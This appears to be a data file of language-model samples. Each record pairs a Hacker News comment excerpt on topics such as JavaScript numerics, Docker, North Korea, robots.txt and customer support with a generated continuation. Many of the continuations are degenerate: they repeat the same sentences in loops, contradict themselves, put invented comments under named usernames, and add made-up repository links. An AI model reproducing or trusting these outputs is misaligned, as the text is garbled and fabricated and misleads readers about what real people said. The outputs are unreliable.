want to see the word \"fuck\" I can\nreplace"} +{"output_text": "-boxed\nto be the same.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\nmistercow\nI think the point is that the type system is a good way to enforce invariants\non the code.\n\n~~~\njoshu\nI don't think that's what the article is saying.\n\n~~~\nmistercow\nI think it is.\n\n------\njoshu\n", "input_text": " Number type in JS is\nspecifically defined as using the 64-bit floating point format as defined by\nIEEE 754, except that all NaNs are coerced to a single value. In terms of the\nabstraction, there is never a cast when the value overflows; it should just\nalways be considered a double. Under the hood, there may be differences in how\nthe number is actually being treated.\n\n~~~\ntootie\nI've heard this before and never understood why. Why?\n\n~~~\nmistercow\nPresumably because it allows you to do anything involving double precision or\n32-bit integer arithmetic, and performance was not originally a major\nconsideration. It's pretty rare to need more than 53 bits of precision (and\nwas even rarer for JS's original intent), so it makes sense that the numeric\ntype is kept simple. Edit: and to clarify, the advantage is that this makes\nbasic implementation extremely simple. Only if you want to optimize your\nengine's performance do you have to worry about shuffling types around.\n\nThese days the solution for having more precision is to use an external\nlibrary. I think that's generally fine, although I think performance is a\nconcern. Financial applications aside, working with arbitrary precision is a\ngood hint that you might be doing something processor intensive. It's\ncertainly a case where I'd like the library to be compiled to target asm.js,\nand maybe optionally NaCL, once those have widespread adoption. Ideally,\nECMAScript would also have a native implementation, but that won't eliminate\nthe need for a library for shimming for years to come.\n\n~~~\ngsnedders\nPerformance was always enough of a consideration that even BE's original\nimplementation had both int32 and double types internally, though black"} +{"output_text": "\n------\njoshu\nI think it's a combination of things.\n\n1) I'm a pretty lazy person. I don't like to exercise. I don't like to go to\nthe gym. I don't like to go to the gym and work out. I don't like to go to the\ngym and work out.\n\n2) I'm a pretty lazy person. I don't like to exercise. I don't like to go to\nthe", "input_text": " rest. At\nsome point, when I was working out a lot, i was obsesed with bench-pressing,\nand trained a lot of them. The result was an onverdeveloped chest, and\ntriceps, while the rest was just more regular looking. It just made me look\nmore bulky, but I don't think it made me anymore healthy.\n\nI ignored my legs, and biceps, and at some point ended up injuring my knees,\nplaying soccer, mainly b/c I just didn't exercise my legs as the rest of my\nbody.\n\nLesson learned. You have to go to the gym, and do all the range of excercises,\nand not just one kind.\n\n~~~\nkylec\nI got chills reading your comment - there's a relatively new \"100 pushups\"\nmeme on Reddit that was precipitated by a comment very similar to yours:\n\n[http://www.reddit.com/r/science/comments/6nz1k/got_six_weeks...](http://www.reddit.com/r/science/comments/6nz1k/got_six_weeks_try_the_hundred_push_ups_training/c04ehte)\n\n------\nmodoc\nFor me it really goes with stress. When things are running smoothly and I have\na decent amount of free time, I sleep well, eat healthily, and work out\nregularly. When things are busy, and I have a huge to-do list, my stress level\nis way up, and there's tons of stuff demanding my time, I sleep less and\npoorly, I crave carb and fat rich foods when I'm stressed, and I have a much\nharder time taking breaks to workout, etc...\n"} +{"output_text": "\nhas been in power for less than a year and China has been working with him\nsince he took power.\n\n~~~\nwhb07\nI think the Chinese are just as surprised as everyone else.\n\n------\nmatt_wulfeck\nI'm not sure how much of this is true. I'm not sure how much of this is\naccurate.\n\n~~~\nwhb07\nI'm not sure how much of this is true. I'm", "input_text": "\nabout Trump's effect in the Korean process, but Cuba will be a much cleaner\ntest.\n\n------\nborkt\nThis is making me wonder if Kim Jong Il has been executing officials and\nfamily so rapidly not because they were for peace, but rather because they\nwere pushing a hard line agenda and he is the one who wanted to make peace\nwith the south. It would be very interesting if it turns out that all of his\nprevious public speech was actually forced, and he had to remove a lot of\npeople before he could push through this agenda. Unlikely I'm sure but not\nimpossible.\n\n~~~\nwhb07\nI really wonder what his endgame to be is? What if he realizes the jig is up\nand he can do a peaceful transition and cash out entirely?\n\nHe could be lord emperor of a shit empire or he could be a wealthy\nmillionaire/billionaire in the real world. All he has to do is walk away from\nthe mess. I wonder if the South Koreans and US would be down with him doing\nthat?\n\n~~~\nConceptJunkie\nScott Adams has had a number of very interesting (and I think insightful)\npieces on North Korea and how Trump could be the first person in half a\ncentury to make the geopolitical situation with respect to North Korea better\ninstead of worse. Here is one of them:\n\n[http://blog.dilbert.com/2018/01/17/north-korea-can-become-\nsw...](http://blog.dilbert.com/2018/01/17/north-korea-can-become-switzerland-\neast/)\n\n------\ncaligarn\nI\u2019m pretty shocked no one in this thread gives credit to China. Kim Jong Un"} +{"output_text": "-os/redox-\ncli/blob/master/...](https://gitlab.redox-os.org/redox-os/redox-\ncli/blob/master/redox-cli/redox-cli.py)\n\n[https://github.com/jedisct1/redis-cli](https://github.com/jedisct1/redis-cli)\n\n[https://github.com/j", "input_text": "ary network-only policies in public at least.\n\n~~~\nkenneth\nGetting into YC is a great way to jump-start your network. Ultimately, having\na strong network is key to building a successful venture business. Expecting\notherwise is unrealistic.\n\nVCs aren't charities. Seed investing is a business with very high quantity and\nlow quality at the top of the funnel. Any investor who tells you they aren't\ngiving more weight to a lead that comes recommended vs. one that doesn't is\nlying to you. It could be as simple as 5min to review the initial pitch vs.\n1min.\n\n \nTSV Utilities: Command line tools for large, tabular data files - bryanrasmussen\nhttps://github.com/eBay/tsv-utils\n======\nJimmyRuska\nI've been noticing more swiss army-knife-like cli tools in the last few years.\nIt would be cool if there were some that could support avro/parquet/orc\nformats. This one is notable because it's written in D lang by a mega corp.\n\nSome useful cli data wrangling tools --\n\n[https://github.com/BurntSushi/xsv](https://github.com/BurntSushi/xsv)\n\n[https://github.com/dinedal/textql](https://github.com/dinedal/textql)\n\n[https://github.com/n3mo/data-science](https://github.com/n3mo/data-science)\n\n[https://stedolan.github.io/jq/](https://stedolan.github.io/jq/)\n\n[https://gitlab.redox-os.org/redox"} +{"output_text": " of parking spots?\nShould we just give them away?\n\n~~~\njedberg\nI think the answer is to give them away for free.\n\n~~~\ncortesoft\nI agree, but I think that is a bit of a different issue.\n\n------\njedberg\nI'm not sure if this is a good idea, but I'm curious if anyone has tried\ncreating a similar device that can be used to track the location of a car", "input_text": " another option to pay any parking fines\u2014deduction\nfrom your paycheck. Except TAs don\u2019t have paycheck. The system would deduct\nfrom 0, and would not go negative but still count the fine as paid.\n\n------\nISL\nLike adversaries who attempt to outrun a radio, \"outsmarting\" law enforcement\nwho have your license-plate number is a generally poor strategy.\n\nLikewise, putting the police-department's SIM in your phone has some pretty\nclear downsides.\n\n~~~\neptcyka\nI don't believe campus police actually has any legal power. It also isn't the\npolice department's SIM card, Barnacle owns it - of course it's still\nconsidered theft.\n\n~~~\nimglorp\nIt's worse than legal trouble. They hold your graduation until you return all\nlibrary books, pay all debts, fines, and interest, etc etc.\n\n~~~\nScoundreller\nThe usual trick is to drive someone else\u2019s car. (Mom\u2019s or dad\u2019s).\n\n------\nrkhacker\nThanks so much to the university for coming up with the barnacle or I would\nhave missed these really brilliant hacks that seemed to keep improving one\nafter the other. Parking 12 scrappy car was so low-tech and yet so effective\nbut juicing the sim card for months has to be appreciated for going the extra\nmile.\n\n------\ncortesoft\n> Obviously, some students thought that fee was ridiculous \u2013 just like paying\n> for parking at a university where you\u2019re already paying a hefty tuition fee\n\nI hate parking fees as much as the next person, and totally appreciate the\ncreativity of the people who defeated this device.\n\nHowever, how should we handle distributing a limited number"} +{"output_text": " ways, they\u2019re not.\n\n------\njimmydddd\nI'm not sure how this is a surprise. I've been in the industry for a long\ntime, and I've seen this happen many times.\n\nI've seen a lot of people who are in the industry for the wrong reasons.\n\nI've seen people who are in the industry for the wrong reasons, and then\nbecome disillusioned and leave.\n\nI've seen", "input_text": " of \u201ccustomer choice\u201d.\n\nThe only question is, exactly how corrupt was this? Was it \u201cthe boss is an\nidiot and doesn\u2019t understand\u201d, or \u201cthey bought enough over priced hotel\nrooms\u201d?\n\n~~~\nqmanjamz\nMost other industries are allowed to sell products that are contrary to their\nclients' interests. I don't see why wealth management should be any different.\nIf my mechanic can try to sell me a bunch of services I don't really need\nevery time I go in for an oil change, I have no problem with the financial\nindustry doing the same.\n\n~~~\nvillage-idiot\nThe difference is that your mechanic isn\u2019t acting as your agent with regards\nto all things automotive, they represent the shop they work for. That\ndifferentiation of who\u2019s responsible for what makes a huge difference.\n\nA financial advisor is much more akin to a lawyer, you pay them to represent\nyour interests. And it is absolutely against the rules for your lawyer to not\nprotect your best interests to the upmost extent of the law.\n\n~~~\njimmydddd\nAgreed. Standard lawyer jokes aside, I used to routinely advise clients\nagainst filing lawsuits which would have benfitted me and my firm financially.\nIn many cases, it would have been a waste of time and money for the client.\nI'm surprised that financial advisors think it's acceptable to advise against\na client's interests. Not surprised that they would do it, but surprised that\nthey publically state that there is nothing wrong with it.\n\n~~~\nvillage-idiot\nI think high finance has deluded itself into thinking that they\u2019re\nirreplaceable, and therefore they don\u2019t have to pay an ounce of attention to\ntheir public image. In minor"} +{"output_text": " with the relevant information.\n\n~~~\njameshart\nI think the problem is that the author is not a good writer.\n\nI think the author is a good writer, but he's not a good writer because he\ndoesn't know how to write.\n\nI think the author is a good writer, but he's not a good writer because he\ndoesn't know how to write well.\n\nI think the author is a good writer, but he's not a", "input_text": "\nGoogle exploited the buzz of open source philosophy, so it's fascinating\nseeing the open source community's reaction to their stricter control over\nAndroid. Personally, I always saw the trumpeting of \"openness\" as an\nunrealistic marketing ploy.\n\n------\njinushaun\nHonest question: Why do people listen to and retweet Gruber? Everything I've\nread from him is pure biased hypocritical garbage.\n\n \nWhy can\u2019t we read anymore? - subnaught\nhttps://medium.com/@hughmcguire/why-can-t-we-read-anymore-503c38c131fe\n======\nSchwolop\nPart of the problem is articles like this. There were perhaps five interesting\nsentences of content in that entire piece, and several hundred entirely\nredundant words and personal examples used only to set the tone.\n\nIf modern writers have such disrespect for their audience, is it any wonder\nsome of that audience hasn't the attention span to stick with it?\n\nOlder, serious, and timeless literature requires deep concentration because\nthe authors use their thousands of words to express deep pathos that can't be\ntrivialised. It takes practice to commit oneself to a book like that for long\nenough to get into a flow wherein it can be understood and appreciated. It's\n_easier_ to read fluff because the dopamine hits quicker, but (for some\npeople) it's worth the effort to read something more meaningful.\n\nIn some ways there's an analogy to coding; some books I can't read unless I've\ngot the time to be isolated from distractions. Similarly, some coding problems\nI can't make progress unless I know I've got more than a half hour to pre-load\nmy brain cache"} +{"output_text": "\n\n~~~\njlarocco\nI'm not sure I understand.\n\n~~~\nnly\nThe array's length and capacity is stored next to the array elements itself.\n\n~~~\njlarocco\nI'm not sure I understand.\n\n~~~\nnly\nThe array's length and capacity is stored next to the array elements itself.\n\n~~~\njlarocco\nI'm not sure I understand.\n\n~~~\nnly\nThe array's length", "input_text": " 8 bytes,\nbecause then we'd end up allocating 8kb from the OS (two pages) and wasting\nmost of that second page. So nsTArray works with the allocator to figure out\nthe right number of elements to allocate without wasting too much space.\n\nWe don't want to allocate a new header for zero-length arrays. The natural\nthing to do would be to set nsTArray's pointer to NULL when it's empty, but\nthen you'd have to incur a branch on every access to the array's\nsize/capacity.\n\nSo instead, empty nsTArrays are pointers to a globally-shared \"empty header\"\nthat describes an array with capacity and length 0.\n\nMozilla also has a class with some inline storage, like folly's fixed_array.\nWhat's interesting about Mozilla's version, called nsAutoTArray, is that it\nshares a structure with nsTArray, so you can cast it to a const nsTArray*.\nThis lets you write a function which will take an const nsTArray& or const\nnsAutoTArray& without templates.\n\nAnyway, I won't pretend that the code is pretty, but there's a bunch of good\nstuff in there if you're willing to dig.\n\n[http://mxr.mozilla.org/mozilla-\ncentral/source/xpcom/glue/nsT...](http://mxr.mozilla.org/mozilla-\ncentral/source/xpcom/glue/nsTArray.h)\n\n~~~\nnly\n> One of its unusual design decisions is that the array's length and capacity\n> is stored next to the array elements itself.\n\nGNU stdlibc++ does this for std::string so you get prettier output in the\ndebugger."} +{"output_text": "------\njosteink\nI'm not sure if I'm missing something, but how is this a security issue?\n\nI mean, if you're running a container, you're already running a container.\n\nIf you're running a container, you're already running a container.\n\nIf you're running a container, you're already running a container.\n\nIf you're running a container, you're already running a container.\n\nIf you're running a container,", "input_text": "transports, all of the package signing would still be absolutely required in\norder for package upgrades to be safe. In addition, the package manger should\ndistrust the transport no matter what (in fact, it should be resilient to\ncompromised repo servers).\n\nNow, should apt use TLS by default? Ideally, yes. A secure transport is better\nthan an insecure one regardless of what you're sending through it. But\nunfortunately it's not as simple as that. Most CDNs charge extra for TLS, and\nmany existing free mirrors of packages don't provide TLS at all. Also, using\nHTTP allows for proxies to cache packages.\n\nUnfortunately, as we discovered recently, apt had not been distrustful enough\nof HTTP metadata (which was a pretty big mistake since the entire design of\npackage managers is that they must distrust the transport, especially if it's\ncompletely insecure like HTTP).\n\n------\naerovistae\nWould have made this a bit clearer to note in the post that this is an email\nyou received, and that you are not Kent Lamb using Hacker News as a medium to\ndistribute Docker announcements, which is what this looks like.\n\n~~~\nlugg\nGood point, it does look wrong. Updated.\n\n------\npavanagrawal123\nI can't find an announcement of this anywhere besides HN? Will Docker be\npublishing info via official mediums?\n\n~~~\nlugg\nI assume they will. I only just got the email and it looks like only a small\nsubset of accounts are affected. Or at least that's what that PR spin is\nsupposed to make you think.\n\n~~~\npavanagrawal123\nI see. I originally thought this was the announcement, as that is what the\npost indicated.\n\n"} +{"output_text": " using Docker.\n\n~~~\ndeftek\nI think it's a great idea. I'm not sure if it's a good idea to have a\ncommercial entity behind it, but I think it's a great idea to have a\ncommunity-driven project.\n\n------\njoshu\nI'm not sure I understand the question.\n\n~~~\ndmarg\nI'm not sure I understand the question either. I'm just trying to understand\nthe business case for using", "input_text": " image is the\nsame in every environment\n\n\\- Easy onboarding to teams that use docker because you dont need to setup\nanything new. This is especially useful if your company encourages developers\nto work across teams\n\n\\- Ops can build around infrastructure around this and be sure that every team\nbuilds and runs code in the same way\n\n\\- If your application is complex, using docker-compose, its extremely simple\nto setup your dev environment\n\n\\- The community is moving towards docker, and it doesnt hurt your resume if\nyou have production docker experience\n\nMinuses:\n\n\\- For an extremely simple application (that you think will remain simple over\nits lifetime), it might be more overhead to use docker than not use it\n\n\\- Even though we\u2019ve been using boot2docker and vagrant to setup docker on\nMacOSX, it hasnt worked seamlessly. When you get on and off a vpn for example,\nboot2docker has constantly messed things up. If you can get your dev setup\nright, docker works well. If not, it can be a pain sometimes on OSX\n\n\\- Although its easy to build docker images for most of the open source\nsoftware out there (if docker images dont already exist), it can be a pain to\ndo that for enterprise software. Try using docker with oracle db. You might\nget it to work. You wont have fun with it!!\n\n------\ndeftek\nI would keep an eye on this project:\n[http://www.opencontainers.org/](http://www.opencontainers.org/)\n\n~~~\ndmarg\nHeard about this and seems like everyone and their mother are signing on. This\nis one of the reasons why I asked the main question is because I want to fully\nunderstand what the business case is for"} +{"output_text": ".\n\n~~~\nkrapp\n>Racist!= Nazi\n\nI'm not sure what you mean by this.\n\n>My great grandmother was racist.\n\nI'm not sure what you mean by this.\n\n>Racist!= Nazi\n\nI'm not sure what you mean by this.\n\n>My great grandmother was racist.\n\nI'm not sure what you mean by this.\n\n>Racist!= Nazi\n\nI", "input_text": " who share his or her goals are not effective and\nshould adopt other tactics in order to achieve their aims.\n\nIf you're not able to see this, I have to question whether you've reviewed the\nmaterial your commenting on, or if you're incredibly politically naive, or if\nperhaps your questioning is not entirely in good faith.\n\n~~~\ntrue_religion\nSo the author is calling for less violence against minorities, wants to remove\nracist language from public discourse, but he must still be racist because he\ndoes not totally condemn racists who happen to want the same goals as he does?\n\nNot criticizing, I just want to know if this is a fair assessment. I do not\nknow how I feel about this in general, but in specific, his short term goal of\nreducing violence makes him a more tollerable enemy.\n\n~~~\nkrapp\n> but he must still be racist because he does not totally condemn racists who\n> happen to want the same goals as he does?\n\nYes, because those goals are racist.\n\nHe's racist because of his belief in and support for white nationalism and\nracial segregation, and the genetic and cultural superiority of the white\nrace, and his definition of \"western civilization\" in purely (pun intended)\nracial terms. He's racist because he views the presence of non-white people as\na form of pollution and believes in racist conspiracy theories like white\ngenocide.\n\nBeing racist and civil is still being racist.\n\n~~~\npaulddraper\nI'm not sure \"genetic superiority\" is in his list of claims. But in any case,\ngoing back to the original point, there's some real muddling of terminology\nhere.\n\nRacist!= Nazi\n\nMy great grandmother was racist"} +{"output_text": "anted, I'm not saying that's a bad thing, but it's not a good thing.\n\n~~~\nthomnottom\nI'm not sure what you're trying to say here. I'm not sure what you mean by\n\"low status symbol\".\n\n~~~\nRetric\nI'm saying that it's a bad thing to be viewed as a low status symbol.\n\n~~~\nthomnottom\nI'm not sure what you're trying to say here", "input_text": " we step back and reevaluate the way we are raising the youth. This\nwar on boys is wrong, and could have disastrous effects on our society in the\nfuture.\n\n~~~\ndudul\nAgreed. It is baffling to me that nobody seems to seriously consider that this\nwar on men/boys is what creates this weird and uncomfortable social dynamic.\nMasculinity is not something to be feared or ashamed of, teaching that is what\ncreates dysfunctional men.\n\n~~~\nkod\nNo, social norms that\n\n \n \n - you're not allowed to show emotion (unless it's anger)\n - you must get all of your emotional needs met through first your mother, and then your girlfriend / wife\n \n\nare what creates dysfunctional men.\n\n~~~\nRetric\nAs a tall, large framed man, I often get very strong negative reactions when I\nam physically fit. And I mean fit not weightlifting bulk. Keeping short hair\nand a clean shave while swimming regularly is a very utilitarian choice, but\nyou get even stronger negative reactions. The way out? Growing long hair\ntransformed rather negative skin head connotations with a far more teasing\nFabio.\n\nOur culture really looks down on the strong male archetype.\n\nPS: Don't believe me? Try growing a natural aka full beard.\n\n~~~\nthomnottom\nAs someone with a full beard, a father who wears a full beard, and several\nfriends with full beards, what is the problem with them?\n\n~~~\nRetric\nFor one thing it lowers the bar before people think your indigent. Depending\non industry it can often make it harder to find a job. On the whole it's\ngenerally viewed as a low status symbol.\n\nGr"} +{"output_text": ".\n\n~~~\nkennywinker\nI'm not sure if I'm going to outsource or not. I'm not sure if I'm going to\nhire a CPA or not. I'm not sure if I'm going to hire a CTO or not. I'm not\nsure if I'm going to hire a QA tester or not. I'm not sure if I'm going to\nhire a chief bottle washer or not.\n\nI'm not sure", "input_text": " one anyway) than I\nmight offer, so why me? It's the reason I have made this post and offer up the\ndecision to code things myself or outsource. I know where I have a weakness,\neven if I learn to code, I still won't be as proficient as I need to be. So, I\nwill need someone.\n\nI guess my hope is that by actually creating something and having customers,\nthat traction (along with the list of things I believe I have to offer) will\nentice a \"tech co-founder\" to come join up with me.\n\n~~~\nfate_carver\nA CPA! Kudos. I know that is not easy, my fiancee just tested for her\nCPA...but I would hate to see the code she would write : ) This is way before\nyour time, but Kenny Rogers had a lyric, \"Got to know when to hold 'em, and\nknow when to fold 'em\" which can extrapolate to your perceived need to do\neverything. You can do everything, or anything, but where do you draw the\nline? Janitor? QA testing? Chief Bottle Washer? I'd \"hold\" on running the\ncompany, but \"fold\" on writing the code.\n\nIf you do decide to \"outsource\" do you mean offshore? Perhaps Rent-a-coder\nisn't a bad idea, but just make sure the coder(s) are available after they\nwrite the code, have them sign a non-compete, and possibly outsource a second\ncoder to review the code if you are not getting the warm and fuzzies from the\nfirst team. Ask for well-documented code including an overview explanation,\napproach, architectural considerations, and lots of comments"} +{"output_text": " feel like I'm reading a bad parody of a good idea.\n\n~~~\nbenjamincanfly\nThanks for the feedback. I agree with you on the recommendation system. I\nthink it's a bit too much of a gimmick to be useful.\n\nI'll definitely strip out the recommendation system and focus on the core\nfeatures.\n\n------\njasonkester\nI'm not sure I understand the value proposition.\n\nI can already do this", "input_text": " run software without hardware. Even if the computers of\ntomorrow are a mess of FPGA's that can be reconfigured on the fly, somebody's\ngot to make the FPGA's.\n\n------\nChuckMcM\nIts a great insight. What happens when your laptop is 'fast enough' for the\nforseeable future?\n\n~~~\njurjenh\nThen you start running into failure. Modern electronics isn't really built to\nlast, so having a laptop that will last you more than 10 years is extremely\nunlikely.\n\nUntil market demand changes to quality, long-lived electronics, you will still\nbe rolling over your computing device every couple of years. And then there's\nalways the trends and cycles of fashion...\n\n~~~\nwmf\nYeah, but 10 years is still a lot longer than the 3-year upgrade cycle many\npeople are on today.\n\n \n\nAsk HN: Web app feedback (intelligent chatting system) - benjamincanfly\nhttp://www.circleofconversation.com\n\n======\ngruseom\nI like it too. I might even use it, if there are enough high quality\nparticipants.\n\nI read the whole Theory page and it struck me as blah blah blah blah blah,\n_except_ for these two points:\n\n1\\. Conversations on topics you want, going on right now; 2\\. Karma keeps the\nquality high.\n\nTo me those are the core, and they're a pretty cool core. If I were you I'd\nstrip everything else out. And emphasize those two things on the main page.\n\nPersonally, I'd drop the recommendation system, or at least drop talking about\nit. There's so much tripe surrounding that kind of thing that, when I read it,\nI"} +{"output_text": "\nones.\n\n~~~\njlgreco\nI have a hard time believing that a person would be able to remember a\npassword that they have not used in a long time.\n\n~~~\norbitingpluto\nI'm not saying that it's possible to remember a password that you haven't used\nin a long time. I'm saying that it's possible to remember a password that you\nhave used in a long time.\n\nI'm not saying that it", "input_text": " example, 1 key could boot up one OS and another key could boot up a\ndifferent OS. Seems like it'd be difficult to prove that you booted one or the\nother...\n\n~~~\ntalmand\nI can see the legal issues that would be forthcoming if you refused to share\nthe key to allow for access or agree to type it in yourself. Obstruction and\nall that.\n\nI'm wondering what the legal ramifications might be if you set a secondary key\nthat would wipe the drive in the most secure method possible and then provide\nthat key. Or even the alternate boot sequence as suggested.\n\n~~~\nmc32\n>I'm wondering what the legal ramifications might be if you set a secondary\nkey that would wipe the drive\n\nDestruction of evidence. \n\n~~~\ntalmand\nOh, I get that, I'm not saying it's a way to avoid the ramifications, I'm just\nwondering what they are.\n\nI have to say that I somewhat agree with the ruling because there are similar\nsituations with physical objects, not true one-to-one but they are there. I'm\njust wondering how the courts would react to the destruction of digital\nevidence that was not directly initiated by the defendant, but indirectly by\npreparing for the possibility.\n\n------\norbitingpluto\nClassical jibberish passwords are mostly muscle memory. I know I wouldn't be\nable to remember some of my mine of that sort after two weeks.\n\nIf you were incarcerated and you knew you might have to comply with an order\nto decrypt a hard drive, it might be in your best interest to create and\nshadow type many alternate passwords until you actually forget the important"} +{"output_text": "which is\nwhat I am talking about).\n\n------\njoezydeco\nI'm not sure I understand the point of this article.\n\nThe author is saying that the \"Android\" brand is a problem because it's\nconfusing to consumers.\n\nBut the author is also saying that the \"Windows\" brand is a problem because\nit's confusing to consumers.\n\nSo what's the point?\n\n~~~\njoezydeco\nI guess", "input_text": "people like me who are sick of android/iOS because of closeness of\nplatform.Even canonical with its huge budget admits they don't have plan to\nreplace iOS/android (which as you told is too late for such product, even for\nMicrosoft which have shitload of money ) but they targeting specific user's.\n\np.s. This is my understanding as simple end-user.I might be wrong.\n\n~~~\ntdkl\nThere is no money in targeting the couple %. Hell, there's almost no money in\nAndroid either unless you're Samsung.\n\n~~~\n0xFFC\nThere is no money in android? That is one of the funniest thing I ever heard\nin my entire life! Just calculate how much android brought people to the\ninternet, Then multiple it by some rate, it will be the money google make\nfrom advertising on android platform. How much internet going to grow,\nGoogle income will be grow also. Every search, Every app which you download\nfrom google play, It is direct money which goes into google's pocket, Put\naside Google play income which it will get from every transaction _ 30% I\nthink, I am not sure _ (which is huge but let assume google spend all of it\non android ecosystem and maintaining).\n\np.s. Targeting does not only imply earning money.\n\n~~~\ntdkl\n[http://techcrunch.com/2015/02/26/apple-eating-all-the-\nprofit...](http://techcrunch.com/2015/02/26/apple-eating-all-the-profits/)\n\n~~~\n0xFFC\nYou clearly misunderstood the article.As I mentioned eariler Yes, there is no\nprofit in selling Android products _hardware:some, software:none_("} +{"output_text": " is really\n$600.\n\n~~~\n2muchcoffeeman\nI think you are right. I was thinking of the price of the device as the\nconsumer pays.\n\n------\njoezydeco\nI'm not sure if this is a good thing or not.\n\nI'm not a fan of the iPhone, but I'm not a fan of the Android ecosystem either.\n\nI'm not a fan of the \"free\" market, but I'm", "input_text": "'cha know.\nIt's a freedom thing. Also, even if they make a loss, they will make it back\nin volume. (since that appears to be their _actual business strategy_,\nwhether to place sarcasm tags around the preceeding sentence is left as an\nexercise for the reader)\n\nSmall nitpick: roughlydrafted was _always_ a pure fanboi site with little or\nnothing of interest to say.\n\n~~~\nwhite_devil\nHe's certainly a fanboi, but he's been very insightful too.\n\n~~~\nStormbringer\nhe suffers from Gruber-syndrome.\n\nWhich is to say, that he will argue till the cows come home that market share\nis udderly (sic) irrelevant...\n\n...right up until Apple gets a market share lead in something, when he will\nwhip out the megaphone and start screaming about how \"we\" are winning now.\n\nHe's _almost_ as bad as the people who - in complete disregard of the facts,\nkeep slamming Apple no matter what they do.\n\n------\n2muchcoffeeman\nApple went from 4% market share with 50% profits sometime in 2010, to 8.7%\nmarket share with 75% profits. Which seems to imply they are also making their\ndevices, on average, cheaper.\n\nIs this the start of them slowly adjusting their prices to grab some more\nmarket share? Especially now that they actually have phone models to serve\nmultiple segments of the mobile phone market?\n\n~~~\nschiffern\nOr pie got larger, which seems more likely.\n\nMost of the price of the device is negotiated with the carrier, not the\nconsumer. So a \"free\" device is really $600, and a \"$199\" device"} +{"output_text": " negotiation you do with Google\nis going to be a negotiation between you and Google, not between you and\nGoogle and the web search engines.\n\n>If you don't see why companies and governments see more shades of grey in\nthis situation then the only person who is ignorant is you.\n\nI don't see why companies and governments see more shades of grey in this\nsituation. I see a situation where a company is trying to make money off of\nthe work of others", "input_text": " \u201cThose who make a profit from the information\u201d produced by\nmedia companies should participate in their financing.\"\n\nIt's depressing to see so many examples of the abysmal understanding of the\ninternet that so many politicians seem to have. Ignorance can be forgiven to a\ncertain extent, but not even making an attempt to try to understand the\nsituation - just spending five minutes on google or wikipedia researching the\nGooglebot will tell you about robots.txt - is inexcusable.\n\nPublic and state ignorance of computers and the internet are leading us down a\nvery dark path; there needs to be an effort to try to educate our political\nrepresentatives, or we risk a future where legislation like SOPA is passed\npurely out of ignorance of what it means.\n\n~~~\ntaligent\n> just spending five minutes on google or wikipedia researching the Googlebot\n> will tell you about robots.txt\n\nSo basically your position is binary: Either don't allow your site to be\nindexed by Google or accept that they are going to profit from your content.\n\nIf you don't see why companies and governments see more shades of grey in this\nsituation then the only person who is ignorant is you.\n\n~~~\nAnthonyMouse\n>So basically your position is binary: Either don't allow your site to be\nindexed by Google or accept that they are going to profit from your content.\n\nNonsense. If you want to put \"no access\" in robots.txt and then go to Google\nand negotiate a fee from them for removing it, you're perfectly entitled to do\nthat. But you know perfectly well that the value of search traffic to your\nsite is worth more to you than the value of indexing your site is worth to\nGoogle or any other web search engine, so any"} +{"output_text": " care\nless about the consequences.\n\nI'm not sure if this is a good or a bad thing, but I'm not sure how to change\nit.\n\n~~~\nkrapp\n>I'm not sure if this is a good or a bad thing, but I'm not sure how to\nchange it.\n\nI think it's a good thing. I think it's a good thing that you're not\nprocrastinating because you're bored, or", "input_text": " because I care. Perhaps you could try the same approach?\n\nIn the first summer that I couldn't get a coding internship (in college), I\ntaught my friend who didn't have a coding background how to code. I taught my\ngirlfriend at the time how to code. I started a meetup group and taught\neveryone I could. As they got better, I started to learn new things to teach.\nWhen I took on contract projects, I talked it over with my trusted friends and\nwe solve the projects together. They were getting better through the projects\nI take up and my projects became a little more fun to work on.\n\nNow, fast forward a few years, many of the people I taught are now senior\nsoftware engineers. I still meet up with them a few times a week to talk about\nnew coding patterns, discuss work projects, and help each other get better.\n\nFor me, the mindset shift I needed to do was to start thinking about how I can\nhelp others around me and make sure I'm helping them effectively.\n\n------\nsockaway\nI feel very similar. It has actually always been like that for me. I hardly\never did (=finished) any homework in school and university, but I was spending\nmost of my free time sitting at my desk b/c I had to do homework.\n\nNow I'm perfectly aware I'm procrastinating while I'm doing so, but I just\nfeel like I _must_ [find out xy / read the current news about xy / read that\ninteresting article I saw / review and close the hundreds of open browser tabs\n/ have some social interaction w/ someone / finish unrelated task xy (e. g.\nhousework) / eat sth / watch porn] at _that very moment_ and couldn't"} +{"output_text": "dotal evidence from a few more.\n\n~~~\nsgdesign\nI'm not sure I understand your point.\n\nI'm not saying that the support costs are the same for all customers, but that\nthe support costs are higher for the cheap customers.\n\n~~~\npatio11\n_I'm not saying that the support costs are the same for all customers, but\nthat the support costs are higher for the cheap customers._\n\nI'm saying that the support costs", "input_text": " is a very impressive project.\n\n \nWhy cheap customers cost more - sgdesign\nhttp://sachagreif.com/why-cheap-customers-cost-more/\n======\npatio11\nFor Appointment Reminder, approximate per-account customer support incidents\nper month. I've taken the liberty of scaling them to X, where X represents the\nnumber for the highest publicly available account plan.\n\n \n \n Personal ($9): 7X\n Professional ($29): 4X\n Small Business ($79): 3X\n Office ($199): X\n \n\nThe character of the questions is also different at the various plan levels.\nMost common question for Office: \"What's the timeframe on integrating this\nwith...\" followed by \"Our $TITLE would like a report saying $NEEDS, can you\nmake that happen?\" Most common question for Personal: \"How do I schedule\nappointments?\" followed by \"The system is working exactly the way it says it\ndoes on the screen. Can you please tell me why that is happening? I thought it\nwould work in a way completely opposite to the way described on the screen. It\nwould be convenient if you could fix that. No, I didn't read the 'If you want\nthis to work in the opposite fashion...' text on the screen to change that\nsetting, I have more important things to do than worry about computers.\"\n\nYour mileage may vary. If I were doing the math based on phone calls waking me\nup in the middle of the night, the numbers get skewed due to one pathological\ncustomer in the $29 bucket, who has literally called me more than every other\ncustomer combined.\n\nP.S. I have fairly exact privileged information regarding this question at a\nhandful of companies and anec"} +{"output_text": "/Clang/LLVM/LLVM/LLVM/LLVM/LLVM/LLVM\ncould be used to implement?\n\n~~~\nwillvarfar\nMill is a microkernel, so it's not a replacement for the kernel.\n\nIt's a replacement for the kernel for the parts of the kernel that are\ncomplicated.\n\nIt's a replacement for the kernel for the parts of the kernel that are\ncomplicated and have a lot of contention.", "input_text": "Some kinds of code will benefit from this - long calculations and deep nested\nprocedures. But lots of hangups on consumer applications are in\nsynchronization, kernel calls, copying and event handling.\n\nI'd like to see an architecture address those somehow. E.g. virtualize\nhardware devices instead of writing kernel-mode drivers. Create instructions\nto synchronize hyperthreads instead of kernel calls (e.g. a large (128bit?)\nevent register, a stall-on-event opcode). If interrupts were events then a\nthread could wait on an interrupt without entering the 